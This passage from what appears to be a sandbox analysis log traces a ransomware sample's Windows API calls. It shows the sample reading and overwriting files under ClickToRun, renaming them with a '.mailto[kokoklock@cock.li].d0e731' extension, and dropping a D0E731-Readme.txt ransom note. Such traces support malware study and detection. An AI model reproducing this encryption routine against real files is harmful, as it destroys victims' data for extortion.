0x5b3865 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xeb48ee7 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x39d554ce [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x1b6d8901 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xcdc54c7d [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xfa70c32b [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x1ae99c5f [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x3a743efc [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xde79ca67 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x7c521013 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x3e45e896 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x2e0ad1d1 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x23691d59 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x32bf743d [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x49f8eb62 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x2649f1cf [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x915c89e7 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x39da5b1c [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x8eb1125d [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x391e3779 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x5cfea40 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x8db9a8be [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xcc83132f [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x979b362a [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xfaa71d43 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x582718d1 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x5458ca36 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x78ae5a97 [0072.549] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0xbbfafe70 [0072.562] ReadFile (in: hFile=0x6e8, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x1693f71c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1693f71c*=0x7b4, lpOverlapped=0x0) returned 1 [0072.562] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1693f6e4 | out: lpNewFilePointer=0x0) returned 1 [0072.562] WriteFile (in: hFile=0x6e8, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x1693f718, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x1693f718*=0x7b4, lpOverlapped=0x0) returned 1 [0072.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e640 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0072.562] WriteFile (in: hFile=0x6e8, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1693f714, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x1693f714*=0x20, lpOverlapped=0x0) returned 1 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0072.562] WriteFile (in: hFile=0x6e8, lpBuffer=0x341e618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x341e618*, lpNumberOfBytesWritten=0x1693f740*=0x8, lpOverlapped=0x0) returned 1 [0072.562] WriteFile (in: hFile=0x6e8, lpBuffer=0x1693f758*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x1693f758*, lpNumberOfBytesWritten=0x1693f740*=0x4, lpOverlapped=0x0) returned 1 [0072.563] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1693f740*=0x4, lpOverlapped=0x0) returned 1 [0072.563] WriteFile (in: hFile=0x6e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1693f740*=0x6c, lpOverlapped=0x0) returned 1 [0072.563] WriteFile (in: hFile=0x6e8, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x1693f740*=0x20, lpOverlapped=0x0) returned 1 [0072.563] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1693f740*=0x4, lpOverlapped=0x0) returned 1 [0072.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e618) returned 1 [0072.563] CloseHandle (hObject=0x6e8) returned 1 [0072.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431bf0 [0072.563] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0072.563] wcscat (in: _Dest=0x3431bf0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" [0072.563] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0072.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", dwFileAttributes=0x20) returned 0 [0072.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cce70 [0072.564] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0072.564] wcscat (in: _Dest=0x33cce70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" [0072.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\d0e731-readme.txt")) returned 0xffffffff [0072.565] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0072.565] WriteFile (in: hFile=0x6e8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1693f73c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1693f73c*=0x481, lpOverlapped=0x0) returned 1 [0072.566] CloseHandle (hObject=0x6e8) returned 1 [0072.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0072.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c7d40) returned 1 [0072.566] RtlExitUserThread (Status=0x1) Thread: id = 568 os_tid = 0x1180 [0072.483] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml")) returned 0x20 [0072.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", dwFileAttributes=0x20) returned 1 [0072.484] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0072.484] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x169bf9b4 | out: lpFileSize=0x169bf9b4*=1382) returned 1 [0072.484] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.484] ReadFile (in: hFile=0x6e4, lpBuffer=0x169bf988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x169bf988*, lpNumberOfBytesRead=0x169bf984*=0x4, lpOverlapped=0x0) returned 1 [0072.584] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e618 [0072.584] NtQuerySystemTime (in: CurrentTime=0x169bf960 | out: CurrentTime=0x169bf960*=132121176304721560) returned 0x0 [0072.584] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xad130f2d [0072.584] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xdb710541 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xbba06c3 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x954ad0c2 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x7a74160e [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xd6d73120 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xcc1e067f [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xa64ef877 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x587ddb9c [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x87b9a829 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x2bcb3ada [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x2ed208bf [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xadbe998a [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x4ecbd5d3 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xcfc14e23 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xb4a6e536 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xef80f4ad [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x6440d098 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x1c583d42 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x5a78050c [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x9f967ab0 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xac2058d3 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xfd838470 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x8f155217 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xb57f4931 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xd9281b79 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xac2b1274 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x4c87fc46 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0x57c0eb46 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xf6e78dda [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xc188d278 [0072.585] RtlRandom (in: Seed=0x169bf96c | out: Seed=0x169bf96c) returned 0xe2d91a0c [0072.597] ReadFile (in: hFile=0x6e4, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x169bf960, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x169bf960*=0x566, lpOverlapped=0x0) returned 1 [0072.597] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x169bf928 | out: lpNewFilePointer=0x0) returned 1 [0072.597] WriteFile (in: hFile=0x6e4, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x169bf95c, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x169bf95c*=0x566, lpOverlapped=0x0) returned 1 [0072.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0072.597] WriteFile (in: hFile=0x6e4, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x169bf958, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x169bf958*=0x20, lpOverlapped=0x0) returned 1 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0072.597] WriteFile (in: hFile=0x6e4, lpBuffer=0x341e668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x341e668*, lpNumberOfBytesWritten=0x169bf984*=0x8, lpOverlapped=0x0) returned 1 [0072.597] WriteFile (in: hFile=0x6e4, lpBuffer=0x169bf99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x169bf99c*, lpNumberOfBytesWritten=0x169bf984*=0x4, lpOverlapped=0x0) returned 1 [0072.598] WriteFile (in: hFile=0x6e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x169bf984*=0x4, lpOverlapped=0x0) returned 1 [0072.598] WriteFile (in: hFile=0x6e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x169bf984*=0x6c, lpOverlapped=0x0) returned 1 [0072.598] WriteFile (in: hFile=0x6e4, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x169bf984*=0x20, lpOverlapped=0x0) returned 1 [0072.598] WriteFile (in: hFile=0x6e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x169bf984, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x169bf984*=0x4, lpOverlapped=0x0) returned 1 [0072.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0072.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0072.598] CloseHandle (hObject=0x6e4) returned 1 [0072.598] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431bf0 [0072.598] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0072.598] wcscat (in: _Dest=0x3431bf0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" [0072.598] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.599] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0072.599] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", dwFileAttributes=0x20) returned 0 [0072.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cce70 [0072.600] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0072.600] wcscat (in: _Dest=0x33cce70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" [0072.600] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\d0e731-readme.txt")) returned 0x20 [0072.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0072.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c9d00) returned 1 [0072.600] RtlExitUserThread (Status=0x1) Thread: id = 569 os_tid = 0x118c [0072.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479e98 [0072.486] wcscpy (in: _Dest=0x3479e98, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0072.486] wcscat (in: _Dest=0x3479e98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0072.486] wcscat (in: _Dest=0x3479e98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" [0072.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec0f0 [0072.486] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434668 [0072.486] wcscmp (_String1=".", _String2=".") returned 0 [0072.487] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.487] wcscmp (_String1="..", _String2=".") returned 1 [0072.487] wcscmp (_String1="..", _String2="..") returned 0 [0072.487] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0072.487] wcscmp (_String1="Catalog", _String2=".") returned 1 [0072.487] wcscmp (_String1="Catalog", _String2="..") returned 1 [0072.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccdf0 [0072.487] wcscpy (in: _Dest=0x33ccdf0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0072.487] wcscat (in: _Dest=0x33ccdf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0072.487] wcscat (in: _Dest=0x33ccdf0, _Source="Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0072.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ccdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0072.681] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0072.681] wcscmp (_String1="Integration", _String2=".") returned 1 [0072.681] wcscmp (_String1="Integration", _String2="..") returned 1 [0072.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33cc760 [0072.681] wcscpy (in: _Dest=0x33cc760, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0072.681] wcscat (in: _Dest=0x33cc760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0072.681] wcscat (in: _Dest=0x33cc760, _Source="Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0072.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cc760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0072.682] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, 